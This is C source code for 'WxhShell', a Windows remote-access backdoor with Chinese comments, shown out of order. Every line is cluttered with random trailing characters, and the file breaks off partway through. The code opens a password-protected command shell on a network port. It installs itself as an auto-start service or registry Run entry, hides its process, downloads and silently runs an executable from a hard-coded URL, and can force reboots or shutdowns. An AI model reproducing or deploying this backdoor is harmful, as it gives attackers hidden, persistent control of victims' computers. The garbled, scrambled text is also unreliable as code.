    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8h?):e  
    else { ~dtS  
    closesocket(wsh); HL`=zB%  
    ExitThread(0); :-[y`/R  
    } |_h$}~ ;  
    break; qN=l$_UD  
    } Nn/f*GDvK  
  // 获取shell 7u=R5  
  case 's': {  fOUW{s  
    CmdShell(wsh); #/,WgsAC  
    closesocket(wsh); :lfUVa{HN  
    ExitThread(0); j@o \d%.'!  
    break; lSG"c+iV  
  } \jpm   
  // 退出 _\ &N<  
  case 'x': { f, iHM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5R%4fzr&g  
    CloseIt(wsh); A &tMj?  
    break; G u4mP  
    } m~f J_  
  // 离开 .7K<9K+P  
  case 'q': { L ,/(^0;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [6u8EP0xM  
    closesocket(wsh); 'JpCS  
    WSACleanup(); x & ZW f?  
    exit(1); 0XzrzT"&  
    break; O;6am++M@  
        } qib4DT$v-6  
  } i]{-KZC  
  } >qL-a*w:a  
2R`dyg  
  // 提示信息 ?= R C?K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2mt S\bAF  
} {/2 _"H3:  
  } |=rb#z&  
3;'RF#VL  
  return; DGJt$o=&@  
} |Bhj L,  
-}G>{5.A  
// shell模块句柄 Vb++K0CK  
int CmdShell(SOCKET sock) +FBUB  
{ 5*hA6Ex7  
STARTUPINFO si; (/[wM>q:r  
ZeroMemory(&si,sizeof(si)); A dL>?SG%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0Q{^BgW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oD8X]R, H  
PROCESS_INFORMATION ProcessInfo; .kqH}{hf  
char cmdline[]="cmd"; 7i##g,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xV\mS+#  
  return 0; [rO TWN  
} "/g\?Nce  
T$pBgS>  
// 自身启动模式 x@Ze%$'  
int StartFromService(void) '\wZKY VN  
{ hhr!FQ.+/  
typedef struct 2JR$  
{ nl/~7({  
  DWORD ExitStatus; n:P++^ j  
  DWORD PebBaseAddress; Ap)pOD7  
  DWORD AffinityMask; mGC!7^_D`  
  DWORD BasePriority; d+L!s7  
  ULONG UniqueProcessId; QT)5-Jy  
  ULONG InheritedFromUniqueProcessId; 1=Y pNXX  
}   PROCESS_BASIC_INFORMATION; Z[%vO?,  
B 4RP~^  
PROCNTQSIP NtQueryInformationProcess; /DxeG'O  
;a9`z+ K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;NPbEPL[5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \sc's7  
>mCS`D8  
  HANDLE             hProcess; egn9O  
  PROCESS_BASIC_INFORMATION pbi; iZ; y(  
m[$pj~<\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 48g`i  
  if(NULL == hInst ) return 0; "8*5!anu-  
j= vlsW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `&/~%>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z9p`78kYyh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *Hed^[sO  
EF5:$#  
  if (!NtQueryInformationProcess) return 0; X775j"<d  
i"GCm`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9*CJWS;  
  if(!hProcess) return 0; 9 lH00n+'  
TYu(;~   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Uy;e5<<  
U%4 s@{7  
  CloseHandle(hProcess); ATkx_1]KM-  
)9~-^V0A^>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }WM!e"  
if(hProcess==NULL) return 0; "]kq,j^]  
$guaUe[x  
HMODULE hMod; Cp!Qd e  
char procName[255]; 7 P/1'f3  
unsigned long cbNeeded; i"OY=iw-N  
LG:Mksd8=4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CZ|h` ";P2  
lCxPR'C|  
  CloseHandle(hProcess); 4VI'd|Ed  
*'\ xlsp#  
if(strstr(procName,"services")) return 1; // 以服务启动 Tq,xW  
"Cn<x\E b  
  return 0; // 注册表启动 o`%;*tx  
} N}X7g0>hV  
%WO4uOi:@  
// 主模块 #4wia%}u  
int StartWxhshell(LPSTR lpCmdLine)  r NT>{  
{ a8v9j3.  
  SOCKET wsl; f6U i~  
BOOL val=TRUE; t(r}jU=qw  
  int port=0; k35E,?T  
  struct sockaddr_in door; 4Tn97G7  
?7cT$/4  
  if(wscfg.ws_autoins) Install(); R|JBzdK+P  
;Vlt4,s)  
port=atoi(lpCmdLine); [`_-;/Gx2  
?a{es!  
if(port<=0) port=wscfg.ws_port; E0_S+`o2y  
i564<1`x  
  WSADATA data; h:~ 8WV|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q/y"W,H#  
]v|n'D-?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V4tObZP3Ff  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AB[#  
  door.sin_family = AF_INET; ^7-l<R[T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @*"H{xo.U  
  door.sin_port = htons(port); "Wn8}T*  
)I(2t 6i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &p83X  
closesocket(wsl); w[hT,$n  
return 1; OTV$8{  
} I*OJPFZ^4  
QNxY`  
  if(listen(wsl,2) == INVALID_SOCKET) { L)-1( e<x  
closesocket(wsl); TV[@!E a  
return 1; H?$gHZPI  
} (GB*+@  
  Wxhshell(wsl); 0.!!rq,  
  WSACleanup(); \ ix& U  
;^9y#muk  
return 0; 'FN+BvD  
/6Olq6V  
} a~Nh6 x  
~xakz BE  
// 以NT服务方式启动 1b`WzoJgH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D !5 {CQl  
{ 7>!Rg~M  
DWORD   status = 0; HqoCl  
  DWORD   specificError = 0xfffffff; =, G^GMi'  
L1u(\zw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &8M^E/#.^;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZJ'Tb<fP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;wKsi_``@  
  serviceStatus.dwWin32ExitCode     = 0; _}3NLAqg  
  serviceStatus.dwServiceSpecificExitCode = 0; 3JXKp k?   
  serviceStatus.dwCheckPoint       = 0; Kp?j\67S  
  serviceStatus.dwWaitHint       = 0; G * '1[Bu  
tL}_kK_!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TM<;Nj[*n  
  if (hServiceStatusHandle==0) return; .V.ga2+  
M\6u4p!G!  
status = GetLastError(); -EIfuh  
  if (status!=NO_ERROR) a1 .+L  
{ LR Dj!{k{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +_v#V9?  
    serviceStatus.dwCheckPoint       = 0; mz?1J4rt  
    serviceStatus.dwWaitHint       = 0; Fa-F`U@h(m  
    serviceStatus.dwWin32ExitCode     = status; 1 ILA Utf)  
    serviceStatus.dwServiceSpecificExitCode = specificError; ix!4s613w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z[G:  
    return; (M nK \^Y  
  } qfa[KD)!aB  
o7 1f<&1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M TOZ:b  
  serviceStatus.dwCheckPoint       = 0; *wu|(t_ A  
  serviceStatus.dwWaitHint       = 0; C[s='v~}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C*&FApG  
} S?e*<s9k  
Y7WU4He L  
// 处理NT服务事件,比如:启动、停止 \z[L=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) At)\$GJ  
{ m(p0)X),_i  
switch(fdwControl) :!<U"AC  
{ Rb l4aB+   
case SERVICE_CONTROL_STOP: qY$]^gS  
  serviceStatus.dwWin32ExitCode = 0; H&h"!+t(#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E=L 1q)  
  serviceStatus.dwCheckPoint   = 0; f3"sKL4|  
  serviceStatus.dwWaitHint     = 0; y7/=-~   
  { CN!~(1v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UMj8<Lq)j  
  } o6c>sh  
  return; &7Lg) PG  
case SERVICE_CONTROL_PAUSE: BZ}_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &.)ST0b4  
  break; z%~rQa./$  
case SERVICE_CONTROL_CONTINUE: 7xoq:oP-}N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H-5h-p k  
  break; F|^tRL-  
case SERVICE_CONTROL_INTERROGATE: #S') i1 ;  
  break; U2kl-E:  
}; thrv_^A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XG;Dj<Dm  
} [28Vf"#]  
zIy&gOX  
// 标准应用程序主函数 GRj#1OqL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }-2U,Xg[  
{ pu,|_N[xq8  
bm#/ KT_8  
// 获取操作系统版本 B'!I{LC  
OsIsNt=GetOsVer(); ]D&\|,,(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <jIuVX  
35Cm>X  
  // 从命令行安装  #[yZP9  
  if(strpbrk(lpCmdLine,"iI")) Install(); w*krPaT3  
meArS*d  
  // 下载执行文件 'NSfGC%7R  
if(wscfg.ws_downexe) { h}yfL@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7Kn}KO!Y8  
  WinExec(wscfg.ws_filenam,SW_HIDE); U]64HuL  
} I/Q~rVt  
`<IaQY  
if(!OsIsNt) { )POU58$  
// 如果时win9x,隐藏进程并且设置为注册表启动 `C>De4nT@  
HideProc(); !]2`dp\!  
StartWxhshell(lpCmdLine); %1z`/B  
} UB3hC`N\  
else `IH*~d]  
  if(StartFromService()) HA]5:ck  
  // 以服务方式启动 pv@w 8*  
  StartServiceCtrlDispatcher(DispatchTable); Z@6xu;O  
else !T RU  
  // 普通方式启动 OXD*ZKi8  
  StartWxhshell(lpCmdLine); ?eOw8Rom  
gaU1A"S}  
return 0; ^C70b)68  
} 8<PQ31  
buA/G-<e  
iPdR;O'  
+r$M 9  
=========================================== ]!v\whZ>  
e1Bqd+  
JGQ)/(  
jYE ?wc+FT  
UaXWHCm`  
\JBPZ~N3  
" ujh`&GiB+  
CMC9%uq  
#include <stdio.h> SshjUNx  
#include <string.h> b0uWUI(=  
#include <windows.h> WuMr";2*E  
#include <winsock2.h> O ~D]C  
#include <winsvc.h> FC#t}4as  
#include <urlmon.h> UqNUP+K  
5;X3{$y  
#pragma comment (lib, "Ws2_32.lib") g^[BnP)I  
#pragma comment (lib, "urlmon.lib") v?s%qb=T  
>N-l2?rE  
#define MAX_USER   100 // 最大客户端连接数 x/uC)xm  
#define BUF_SOCK   200 // sock buffer *nlDN4Y[  
#define KEY_BUFF   255 // 输入 buffer }T&~DVM  
} bm ^`QY  
#define REBOOT     0   // 重启 {C5-M!D{<  
#define SHUTDOWN   1   // 关机 g96]>]A<{  
M+-1/vR *@  
#define DEF_PORT   5000 // 监听端口 ]:svR@E  
#BwOWra  
#define REG_LEN     16   // 注册表键长度 k FCdGl  
#define SVC_LEN     80   // NT服务名长度 FZx.Yuv  
jh"YHe/X  
// 从dll定义API *&tv(+P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MQq!<?/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~RRS{\,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AYv7- !Yk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Jp-6]uW  
lN'b"N  
// wxhshell配置信息 X][=(l!;w7  
struct WSCFG { b_']S0$c\  
  int ws_port;         // 监听端口 ky I~  
  char ws_passstr[REG_LEN]; // 口令 KEo?Cy?%ff  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^b6yN\,S  
  char ws_regname[REG_LEN]; // 注册表键名 =O>E>Q  
  char ws_svcname[REG_LEN]; // 服务名 Ti$_V_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +u;RFY^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 . H9a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sZI$t L<j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "z4V@gk   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M?QX'fia  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G3j'A{  
? u~?:a@K  
}; cBQ+`DXn5c  
"=!sZO?3  
// default Wxhshell configuration 6"/4@?  
struct WSCFG wscfg={DEF_PORT, W~Q;R:y  
    "xuhuanlingzhe", (w-@b70E  
    1, r=S,/N(1  
    "Wxhshell", f7I!o, /  
    "Wxhshell", 0gH;y+\=*  
            "WxhShell Service", 0ni/!}YP_  
    "Wrsky Windows CmdShell Service", t4<+]]   
    "Please Input Your Password: ", {9- n3j}  
  1, t>h:s3c  
  "http://www.wrsky.com/wxhshell.exe", t(p}0}Pp  
  "Wxhshell.exe" ;&$f~P Q  
    }; m-lTXA(  
eDY)i9"W  
// 消息定义模块 v0KJKrliGO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rk!8eN Pf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bp>M&1^KY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ca ?d8  
char *msg_ws_ext="\n\rExit."; f47dB_{5f.  
char *msg_ws_end="\n\rQuit."; c+501's  
char *msg_ws_boot="\n\rReboot..."; ,M=s3D8C  
char *msg_ws_poff="\n\rShutdown..."; =)nJ'}x  
char *msg_ws_down="\n\rSave to "; *+_+Z DU  
f"t+r /d  
char *msg_ws_err="\n\rErr!"; Q:8t1ZDo  
char *msg_ws_ok="\n\rOK!"; /]-a 1  
.1 jeD.l  
char ExeFile[MAX_PATH]; O3tw@ &k  
int nUser = 0; "x O+  
HANDLE handles[MAX_USER]; _kdt0Vr,L  
int OsIsNt; gl 27&'?E*  
:ka^ ztXG  
SERVICE_STATUS       serviceStatus; $ EexNz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qK]Om6 a~  
dP=,<H#]m  
// 函数声明 X<&Y5\%F  
int Install(void); vr } -u  
int Uninstall(void); JC iB;!y  
int DownloadFile(char *sURL, SOCKET wsh); $'3'[Nr(;t  
int Boot(int flag); Y|ErVf4  
void HideProc(void); : ZadPn56  
int GetOsVer(void); %Ot*k%F  
int Wxhshell(SOCKET wsl); j+("4b'  
void TalkWithClient(void *cs); ]Rj?OSok  
int CmdShell(SOCKET sock); 'cA(-ghY/E  
int StartFromService(void); #U.6HBuQa  
int StartWxhshell(LPSTR lpCmdLine);  rp=Y }  
[F 24xC+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iw{^nSD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MH|R@g  
bWJ&SR>  
// 数据结构和表定义 =k5O*ql"  
SERVICE_TABLE_ENTRY DispatchTable[] = 3 J5lz~6  
{ Ho1V)T>  
{wscfg.ws_svcname, NTServiceMain}, D B(!*6#?  
{NULL, NULL} ^O,r8K{1n  
}; f dJ<(i]7W  
Z29aRi  
// 自我安装 Q9i[?=F:z  
int Install(void) K94bM5O 1  
{ i5gNk)D  
  char svExeFile[MAX_PATH]; k:URP`w[X=  
  HKEY key; `%*`rtZ+H.  
  strcpy(svExeFile,ExeFile); w<Bw2c  
ZFs xsg^r  
// 如果是win9x系统,修改注册表设为自启动 )FN$Jlo  
if(!OsIsNt) { Y]DC; ,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =yWdtBng  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E] rBq_S  
  RegCloseKey(key); Q 3/J @MC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nH B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /@&#U bN\  
  RegCloseKey(key); e xkPu-[W  
  return 0; D"exI]  
    } }ld^zyL  
  } T3@34}*  
} &Bqu2^^  
else { &@=W+A=c~  
l#Vg=zrT  
// 如果是NT以上系统,安装为系统服务 M0$E_*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V>D}z8w7  
if (schSCManager!=0) )y{:Uc\4!  
{ J$lfI^^  
  SC_HANDLE schService = CreateService 45&Rl,2  
  ( 3,n"d-  
  schSCManager, ]E6r )C  
  wscfg.ws_svcname, x"r,l/gzy  
  wscfg.ws_svcdisp, =}YX I  
  SERVICE_ALL_ACCESS, !j}L-1*{ l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4W}mPeEeV  
  SERVICE_AUTO_START, /EuH2cy$l  
  SERVICE_ERROR_NORMAL, yCN?kHG  
  svExeFile, ^?*<.rsG  
  NULL, 1 J}ML}h)  
  NULL, GWv i  
  NULL, LqNyi   
  NULL, F x^X(!)~]  
  NULL >dgz/n?:v  
  ); v]Aop<KLX  
  if (schService!=0) lB.n5G  
  { RhC|x,E  
  CloseServiceHandle(schService); `3`.usw  
  CloseServiceHandle(schSCManager); 8H|ac[hXK2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?a)Fm8Y  
  strcat(svExeFile,wscfg.ws_svcname); Z{gm4YV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _07$TC1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %0 i)l|  
  RegCloseKey(key); |>Fz:b d  
  return 0; a&UzIFdB  
    } X?XB!D7[  
  } $x,EPRNs  
  CloseServiceHandle(schSCManager); =3`|D0E  
} ]k'^yc{5  
} gA% A})  
\BN$WV  
return 1; { {:Fs  
} g>k?03;  
sG)aw`_j  
// 自我卸载 kW1w;}n$  
int Uninstall(void) zWH)\>X59  
{ `- (<Q;iO  
  HKEY key; pb)kN%  
:Z x|=  
if(!OsIsNt) { v1Q 78P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &AWrM{e  
  RegDeleteValue(key,wscfg.ws_regname); k61mRO  
  RegCloseKey(key); esj6=Gh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V )1.)XC  
  RegDeleteValue(key,wscfg.ws_regname); '#h ORQB  
  RegCloseKey(key); ?~4x/d%  
  return 0; ch25A<O<R.  
  } *8po0s  
} .g1x$cQ1<  
} 79D~Mau#  
else { {dm>]@"S  
e([>sAx!1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iy_Y!wZ{  
if (schSCManager!=0) AI|+*amTd  
{ O"Nr$bS(Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UoKVl-  
  if (schService!=0) 8A.7q  
  { =J)<Nx.gA  
  if(DeleteService(schService)!=0) { w;j<$<4=7  
  CloseServiceHandle(schService); <U1T_fiBoc  
  CloseServiceHandle(schSCManager); 4d cm)Xr  
  return 0; DBL@Mp[<  
  } *YL86R+U  
  CloseServiceHandle(schService); yNow hh  
  } J-<_e??  
  CloseServiceHandle(schSCManager); Z\xnPhV  
}  BgQ/$,  
} 0 !{X8>x  
0<a|=kZ  
return 1; _#NibW  
} MP)Prl>  
u}|v;:|j  
// 从指定url下载文件 [rWBVfm  
int DownloadFile(char *sURL, SOCKET wsh) v_Sa0}K9  
{ @j_o CDS  
  HRESULT hr; PJ0~ymE1~G  
char seps[]= "/"; l`ZL^uT  
char *token; Mms|jF oQ  
char *file; :PW"7|c!  
char myURL[MAX_PATH]; HbI{Xf[6LP  
char myFILE[MAX_PATH]; 6?~9{0  
wjwCs`  
strcpy(myURL,sURL); GDSXBa*7  
  token=strtok(myURL,seps); j1%8r*Jj  
  while(token!=NULL) n]`]gLF\i  
  { k6&~)7 -f  
    file=token; ye9GBAj /  
  token=strtok(NULL,seps); Sx'oa$J  
  } [,,@>nyD  
F |BY]{  
GetCurrentDirectory(MAX_PATH,myFILE); nPdkvs   
strcat(myFILE, "\\"); g9|OhymB  
strcat(myFILE, file); O>qlWPht  
  send(wsh,myFILE,strlen(myFILE),0); v:QUwW  
send(wsh,"...",3,0); ;mQ|+|F6X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); } &+]UGv  
  if(hr==S_OK) I3Z?xsa@Z  
return 0; [*p;+&+/ZM  
else '`2'<^yO  
return 1; AXHY$f|  
Y3DqsZ@  
} :rQDA =Ps  
q"<=^vi  
// 系统电源模块 iL);bv W  
int Boot(int flag) JX&]>#6|E  
{ P"^Yx8L#  
  HANDLE hToken; +;lDU}$  
  TOKEN_PRIVILEGES tkp; R9R~$@~G  
?V8Fgd  
  if(OsIsNt) { GqL&hbpi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _Sfu8k>):  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y,`n9[$K\  
    tkp.PrivilegeCount = 1; #X'-/q`.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pLCj"D).M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gi,7X\`KQ  
if(flag==REBOOT) { yZ,pH1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _ikKOU^8  
  return 0; O U7OX]h  
} ]NTQF/   
else { G<-KwGy,D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4AJT)I.  
  return 0; %<nGm\  
} 8iaMr278W  
  } &?bsBqpN  
  else { 1?H; c5?d&  
if(flag==REBOOT) { gU+yqT7=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w/o^OjwQ  
  return 0; eUQmW^  
} , 4xNW:!j  
else { ,Ohhl`q(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `)y ;7%-  
  return 0; VVch%  
} BedL `[ ,  
} WLXt@dK*u  
XLpn3sX$  
return 1; L;")C,CwQ  
} \-]Jm[]^  
GBb8 }lx  
// win9x进程隐藏模块 I\6C0x  
void HideProc(void) %/w-.?bX  
{ w:%NEa,Z  
WuY#Kx~2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U.SC,;N^  
  if ( hKernel != NULL ) iu=Mq|t0  
  { J[6/dM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ty['yV-;a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h SS9mQ  
    FreeLibrary(hKernel); =<HekiYM  
  } G`%rnu  
@JhkUGG]p  
return; )J@[8 x`  
} J[?oV;O  
jRC{8^98  
// 获取操作系统版本 \Qah*1  
int GetOsVer(void) jm<^WQ%Cc  
{ ,0h{RZKw  
  OSVERSIONINFO winfo; qbq2Bi'a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HLDv{G'7  
  GetVersionEx(&winfo); \[{8E}_"^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;} Lf  
  return 1; u3 LoP_|  
  else }GURq#  
  return 0; <Rw2F?S~)n  
} kYkA^Aq  
+1c r6a  
// 客户端句柄模块 GOdWc9Ta!  
int Wxhshell(SOCKET wsl) .jP|b~  
{ F%y#)53g  
  SOCKET wsh; "" ^n^$  
  struct sockaddr_in client; TxQsi"0c  
  DWORD myID; SHPDbBS  
"B__a(  
  while(nUser<MAX_USER) }o!b3*#  
{ Gq1C"s$4'  
  int nSize=sizeof(client); <ndY6n3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $> QJ%v9+  
  if(wsh==INVALID_SOCKET) return 1; {wSz >,  
.R` _"7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /PaS <"<P@  
if(handles[nUser]==0) Z:h'kgG&  
  closesocket(wsh); \PN*gDmX  
else <Ffru?o4j  
  nUser++; 3 +'vNc  
  } Bj6%mI42hl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z[[qrR  
 ) 4t%?wT  
  return 0; #s\yO~F-  
} `dX0F=Ag?  
cy6YajOk7  
// 关闭 socket 9 AD*  
void CloseIt(SOCKET wsh) Da[#X`Kp$  
{ Y]6d Yq{k  
closesocket(wsh); cCiDe`T\F  
nUser--; t3.;qDy  
ExitThread(0); \25EI]  
} :&&s*_  
5,4" CF$  
// 客户端请求句柄 J( ]b1e  
void TalkWithClient(void *cs) v\9f 8|K  
{ `Zmdlp@  
eW<NDI&b  
  SOCKET wsh=(SOCKET)cs; W^HE1Dt]  
  char pwd[SVC_LEN]; a|y'-r90  
  char cmd[KEY_BUFF]; #G(ivRo  
char chr[1]; E Y !o#m  
int i,j;  l2M(  
u"7!EhX&  
  while (nUser < MAX_USER) { L^C B#5uG  
5>S1lyam  
if(wscfg.ws_passstr) { ^ux'-/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L"1AC&~ u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =`(W^&|  
  //ZeroMemory(pwd,KEY_BUFF); P(b~3NB)  
      i=0; >u0XV"g$  
  while(i<SVC_LEN) { 4yTgH0(T  
R9-mq; u+  
  // 设置超时 p {. 6  
  fd_set FdRead; fbdpDVmpU  
  struct timeval TimeOut; I4qS8~+#  
  FD_ZERO(&FdRead); H^o_B1  
  FD_SET(wsh,&FdRead); @>ys,dy  
  TimeOut.tv_sec=8; k&[6Ld0~56  
  TimeOut.tv_usec=0; W"\`UzOLQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T%"wz3~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5sEk rT '  
ep5`&g]3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^(T~Qp  
  pwd=chr[0]; q l5&&e=-  
  if(chr[0]==0xd || chr[0]==0xa) { W4P\HM>2  
  pwd=0; dqB N_P%  
  break; /9SoVU8  
  } \AI-x$5R*  
  i++; 7$0bgWi  
    } VL"Cxs  
fO#nSB/ 8  
  // 如果是非法用户,关闭 socket :! $+dr(d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #Ddo` >`&  
} /Trbr]lWy  
7&jq  =  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3TV4|&W;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); * _usVg  
8qfXc ^6  
while(1) { @Wm:Rz  
NTK9`#SA  
  ZeroMemory(cmd,KEY_BUFF); =%I;Y& K  
aS>cXJ;=  
      // 自动支持客户端 telnet标准   }[c.OJ:  
  j=0; ZhRdml4U2  
  while(j<KEY_BUFF) { iM1E**WCtv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g^po$%I '  
  cmd[j]=chr[0]; :YX5%6  
  if(chr[0]==0xa || chr[0]==0xd) { iN0'/)ar  
  cmd[j]=0; :T@} CJ  
  break; )Xt#coagS  
  } [ gR,nJH.  
  j++; eMn'z]M&]  
    } PN J&{4wY  
HHgv, bC!  
  // 下载文件 23ho uS   
  if(strstr(cmd,"http://")) { ei}(jlQp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q JtLJ<=1  
  if(DownloadFile(cmd,wsh)) {{pN7Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 211T}a  
  else I 5ZDP|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &oZU=CN  
  } aehB,l0  
  else { d mTZEO  
<wd;W;B  
    switch(cmd[0]) { G~_D'o<r  
  ,5T1QWn^f  
  // 帮助 Y}C|4"V  
  case '?': { @S5HMJ2=  
